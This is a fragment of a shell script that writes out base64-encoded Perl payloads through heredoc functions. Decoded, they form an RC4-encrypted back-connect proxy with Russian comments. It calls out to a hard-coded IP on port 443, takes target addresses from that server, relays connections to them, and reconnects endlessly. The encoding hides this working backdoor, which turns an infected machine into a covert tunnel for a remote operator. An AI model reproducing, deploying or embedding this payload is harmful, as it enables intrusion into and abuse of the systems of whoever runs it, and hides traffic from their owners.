NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_22() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
